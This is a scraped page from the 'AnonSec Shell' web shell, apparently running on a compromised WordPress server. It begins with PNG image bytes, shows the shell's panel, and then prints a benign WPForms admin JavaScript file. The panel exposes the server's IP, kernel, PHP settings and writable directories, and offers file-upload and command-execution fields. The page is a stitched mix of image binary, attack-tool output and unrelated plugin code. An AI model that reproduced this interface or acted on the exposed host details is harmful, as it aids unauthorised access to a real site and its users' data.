‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/wpforms/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/wpforms/assets/js/admin-builder-providers.js
/* global wpforms_builder_providers, wpforms_builder, jQuery */

;(function($) {

	var s;

	var WPFormsProviders = {

		settings: {
			form  : $('#wpforms-builder-form'),
			spinner: '<i class="fa fa-circle-o-notch fa-spin wpforms-button-icon" />'
		},

		/**
		 * Start the engine.
		 *
		 * @since 1.0.0
		 */
		init: function() {
			s = this.settings;

			// Document ready.
			$(document).ready(WPFormsProviders.ready);

			WPFormsProviders.bindUIActions();
		},

		/**
		 * Document ready.
		 *
		 * @since 1.1.1
		 */
		ready: function() {

			// Setup/cache some vars not available before.
			s.formID = $('#wpforms-builder-form').data('id');
		},

		/**
		 * Element bindings.
		 *
		 * @since 1.0.0
		 */
		bindUIActions: function() {

			// Delete connection.
			$(document).on('click', '.wpforms-provider-connection-delete', function(e) {
				WPFormsProviders.connectionDelete(this, e);
			});

			// Add new connection.
			$(document).on('click', '.wpforms-provider-connections-add', function(e) {
				WPFormsProviders.connectionAdd(this, e);
			});

			// Add new provider account.
			$(document).on('click', '.wpforms-provider-account-add button', function(e) {
				WPFormsProviders.accountAdd(this, e);
			});

			// Select provider account.
			$(document).on('change', '.wpforms-provider-accounts select', function(e) {
				WPFormsProviders.accountSelect(this, e);
			});

			// Select account list.
			$(document).on('change', '.wpforms-provider-lists select', function(e) {
				WPFormsProviders.accountListSelect(this, e);
			});

			$(document).on('wpformsPanelSwitch', function(e, targetPanel) {
				WPFormsProviders.providerPanelConfirm(targetPanel);
			});

			// Alert users if they save a form and do not configure required
			// fields.
			$( document ).on( 'wpformsSaved', function(){

				var $connectionBlocks = $( '#wpforms-panel-providers' ).find( '.wpforms-connection-block' );

				if ( ! $connectionBlocks.length ) {
					return;
				}

				$connectionBlocks.each( function() {
					var requiredEmpty = false;
					$( this ).find( 'table span.required' ).each(function() {
						var $element = $( this ).parent().parent().find( 'select' );
						if ( $element.val() === '' ) {
							requiredEmpty = true;
						}
					});
					if ( requiredEmpty ) {
						var $titleArea = $( this ).closest( '.wpforms-panel-content-section' ).find( '.wpforms-panel-content-section-title' ).clone();
						$titleArea.find( 'button' ).remove();
						var msg  = wpforms_builder.provider_required_flds;

						$.alert({
							title: wpforms_builder.heads_up,
							content: msg.replace( '{provider}', $titleArea.text().trim() ),
							icon: 'fa fa-exclamation-circle',
							type: 'orange',
							buttons: {
								confirm: {
									text: wpforms_builder.ok,
									btnClass: 'btn-confirm',
									keys: ['enter']
								}
							}
						});
					}
				});
			});
		},

		/**
		 * Delete provider connection
		 *
		 * @since 1.0.0
		 */
		connectionDelete: function(el, e) {
			e.preventDefault();

			var $this = $(el);
			$.confirm({
				title: false,
				content: wpforms_builder_providers.confirm_connection,
				backgroundDismiss: false,
				closeIcon: false,
				icon: 'fa fa-exclamation-circle',
				type: 'orange',
				buttons: {
					confirm: {
						text: wpforms_builder.ok,
						btnClass: 'btn-confirm',
						keys: ['enter'],
						action: function(){
							$this.closest('.wpforms-provider-connection').remove();
						}
					},
					cancel: {
						text: wpforms_builder.cancel
					}
				}
			});
		},

		/**
		 * Add new provider connection.
		 *
		 * @since 1.0.0
		 */
		connectionAdd: function(el, e) {
			e.preventDefault();

			var $this        = $(el),
				$connections = $this.parent().parent(),
				$container   = $this.parent(),
				provider     = $this.data('provider'),
				type         = $this.data('type'),
				namePrompt   = wpforms_builder_providers.prompt_connection,
				nameField    = '<input autofocus="" type="text" id="provider-connection-name" placeholder="'+wpforms_builder_providers.prompt_placeholder+'">',
				nameError    = '<p class="error">'+wpforms_builder_providers.error_name+'</p>',
				modalContent = namePrompt+nameField+nameError;

			modalContent = modalContent.replace(/%type%/g,type);

			$.confirm({
				title: false,
				content: modalContent,
				icon: 'fa fa-info-circle',
				type: 'blue',
				backgroundDismiss: false,
				closeIcon: false,
				buttons: {
					confirm: {
						text: wpforms_builder.ok,
						btnClass: 'btn-confirm',
						keys: ['enter'],
						action: function() {
							var input = this.$content.find('input#provider-connection-name');
							var error = this.$content.find('.error');
							if (input.val() === '') {
								error.show();
								return false;
							} else {

								var name = input.val();

								// Disable button.
								WPFormsProviders.inputToggle($this, 'disable');

								// Fire AJAX.
								var data =  {
									action  : 'wpforms_provider_ajax_'+provider,
									provider: provider,
									task    : 'new_connection',
									name    : name,
									id      : s.form.data('id'),
									nonce   : wpforms_builder.nonce
								};
								WPFormsProviders.fireAJAX($this, data, function(res) {
									if (res.success) {
										$connections.find('.wpforms-provider-connections').prepend(res.data.html);
										// Process and load the accounts if they exist
										var $connection = $connections.find('.wpforms-provider-connection:first');
										if ($connection.find( '.wpforms-provider-accounts option:selected')) {
											$connection.find( '.wpforms-provider-accounts option:first').prop('selected', true);
											$connection.find('.wpforms-provider-accounts select').trigger('change');
										}
									} else {
										WPFormsProviders.errorDisplay(res.data.error, $container);
									}
								});
							}
						}
					},
					cancel: {
						text: wpforms_builder.cancel
					}
				}
			});
		},

		/**
		 * Add and authorize provider account.
		 *
		 * @since 1.0.0
		 */
		accountAdd: function(el, e) {
			e.preventDefault();

			var $this       = $(el),
				provider    = $this.data('provider'),
				$connection = $this.closest('.wpforms-provider-connection'),
				$container  = $this.parent(),
				$fields     = $container.find(':input'),
				errors      = WPFormsProviders.requiredCheck($fields, $container);

			// Disable button.
			WPFormsProviders.inputToggle($this, 'disable');

			// Bail if we have any errors.
			if (errors) {
				$this.prop('disabled', false).find('i').remove();
				return false;
			}

			// Fire AJAX.
			var data = {
				action       : 'wpforms_provider_ajax_'+provider,
				provider     : provider,
				connection_id: $connection.data('connection_id'),
				task         : 'new_account',
				data         : WPFormsProviders.fakeSerialize($fields)
			};
			WPFormsProviders.fireAJAX($this, data, function(res) {
				if (res.success) {
					$container.nextAll('.wpforms-connection-block').remove();
					$container.nextAll('.wpforms-conditional-block').remove();
					$container.after(res.data.html);
					$container.slideUp();
					$connection.find('.wpforms-provider-accounts select').trigger('change');
				} else {
					WPFormsProviders.errorDisplay(res.data.error, $container);
				}
			});
		},

		/**
		 * Selecting a provider account
		 *
		 * @since 1.0.0
		 */
		accountSelect: function(el, e) {
			e.preventDefault();

			var $this       = $(el),
				$connection = $this.closest('.wpforms-provider-connection'),
				$container  = $this.parent(),
				provider    = $connection.data('provider');

			// Disable select, show loading.
			WPFormsProviders.inputToggle($this, 'disable');

			// Remove any blocks that might exist as we prep for new account.
			$container.nextAll('.wpforms-connection-block').remove();
			$container.nextAll('.wpforms-conditional-block').remove();

			if (!$this.val()) {

				// User selected to option to add new account.
				$connection.find('.wpforms-provider-account-add input').val('');
				$connection.find('.wpforms-provider-account-add').slideDown();
				WPFormsProviders.inputToggle($this, 'enable');

			} else {

				$connection.find('.wpforms-provider-account-add').slideUp();

				// Fire AJAX.
				var data = {
					action       : 'wpforms_provider_ajax_'+provider,
					provider     : provider,
					connection_id: $connection.data('connection_id'),
					task         : 'select_account',
					account_id   : $this.find(':selected').val()
				};
				WPFormsProviders.fireAJAX($this, data, function(res) {
					if (res.success) {
						$container.after(res.data.html);
						// Process first list found.
						$connection.find('.wpforms-provider-lists option:first').prop('selected', true);
						$connection.find('.wpforms-provider-lists select').trigger('change');
					} else {
						WPFormsProviders.errorDisplay(res.data.error, $container);
					}
				});
			}
		},

		/**
		 * Selecting a provider account list.
		 *
		 * @since 1.0.0
		 */
		accountListSelect: function(el, e) {
			e.preventDefault();

			var $this       = $(el),
				$connection = $this.closest('.wpforms-provider-connection'),
				$container  = $this.parent(),
				provider    = $connection.data('provider');

			// Disable select, show loading.
			WPFormsProviders.inputToggle($this, 'disable');

			// Remove any blocks that might exist as we prep for new account.
			$container.nextAll('.wpforms-connection-block').remove();
			$container.nextAll('.wpforms-conditional-block').remove();

			var data = {
				action       : 'wpforms_provider_ajax_'+provider,
				provider     : provider,
				connection_id: $connection.data('connection_id'),
				task         : 'select_list',
				account_id   : $connection.find('.wpforms-provider-accounts option:selected').val(),
				list_id      : $this.find(':selected').val(),
				form_id      : s.formID
			};

			WPFormsProviders.fireAJAX($this, data, function(res) {
				if (res.success) {
					$container.after(res.data.html);
				} else {
					WPFormsProviders.errorDisplay(res.data.error, $container);
				}
			});
		},

		/**
		 * Confirm form save before loading Provider panel.
		 * If confirmed, save and reload panel.
		 *
		 * @since 1.0.0
		 */
		providerPanelConfirm: function(targetPanel) {

			wpforms_panel_switch = true;
			if (targetPanel === 'providers') {
				if ( wpf.savedState != wpf.getFormState('#wpforms-builder-form') ) {
					wpforms_panel_switch = false;
					$.confirm({
						title: false,
						content: wpforms_builder_providers.confirm_save,
						backgroundDismiss: false,
						closeIcon: false,
						icon: 'fa fa-info-circle',
						type: 'blue',
						buttons: {
							confirm: {
								text: wpforms_builder.ok,
								btnClass: 'btn-confirm',
								keys: ['enter'],
								action: function(){
									$('#wpforms-save').trigger('click');
									$(document).on('wpformsSaved', function() {
										window.location.href = wpforms_builder_providers.url;
									});
								}
							},
							cancel: {
								text: wpforms_builder.cancel
							}
						}
					});
				}
			}
		},

		//--------------------------------------------------------------------//
		// Helper functions.
		//--------------------------------------------------------------------//

		/**
		 * Fire AJAX call.
		 *
		 * @since 1.0.0
		 */
		fireAJAX: function(el, d, success) {
			var $this = $(el);
			var data = {
				id    : $('#wpforms-builder-form').data('id'),
				nonce : wpforms_builder.nonce
			};

			$.extend(data, d);
			$.post(wpforms_builder.ajax_url, data, function(res) {
				success(res);
				WPFormsProviders.inputToggle($this, 'enable');
			}).fail(function(xhr, textStatus, e) {
				console.log(xhr.responseText);
			});
		},

		/**
		 * Toggle input with loading indicator.
		 *
		 * @since 1.0.0
		 */
		inputToggle: function(el, status) {
			var $this = $(el);
			if (status === 'enable') {
				if ($this.is('select')) {
					$this.prop('disabled', false).next('i').remove();
				} else {
					$this.prop('disabled', false).find('i').remove();
				}
			} else if (status === 'disable'){
				if ($this.is('select')) {
					$this.prop('disabled', true).after(s.spinner);
				} else {
					$this.prop('disabled', true).prepend(s.spinner);
				}
			}
		},

		/**
		 * Display error.
		 *
		 * @since 1.0.0
		 */
		errorDisplay: function(msg, location) {
			location.find('.wpforms-error-msg').remove();
			location.prepend('<p class="wpforms-alert-danger wpforms-alert wpforms-error-msg">'+msg+'</p>');
		},

		/**
		 * Check for required fields.
		 *
		 * @since 1.0.0
		 */
		requiredCheck: function(fields, location) {
			var error = false;

			// Remove any previous errors.
			location.find('.wpforms-alert-required').remove();

			// Loop through input fields and check for values.
			fields.each(function(index, el) {
				if ( $(el).hasClass('wpforms-required') && $(el).val().length === 0 ) {
					$(el).addClass('wpforms-error');
					error = true;
				} else {
					$(el).removeClass('wpforms-error');
				}
			});
			if (error) {
				location.prepend('<p class="wpforms-alert-danger wpforms-alert wpforms-alert-required">'+wpforms_builder_providers.required_field+'</p>');
			}
			return error;
		},

		/**
		 * Pseudo serializing. Fake it until you make it.
		 *
		 * @since 1.0.0
		 */
		fakeSerialize: function(els) {
			var fields = els.clone();

			fields.each(function(index, el){
				if ($(el).data('name')) {
					$(el).attr('name', $(el).data('name'));
				}
			});
			return fields.serialize();
		}
	};

	WPFormsProviders.init();
})(jQuery);

Anon7 - 2022
AnonSec Team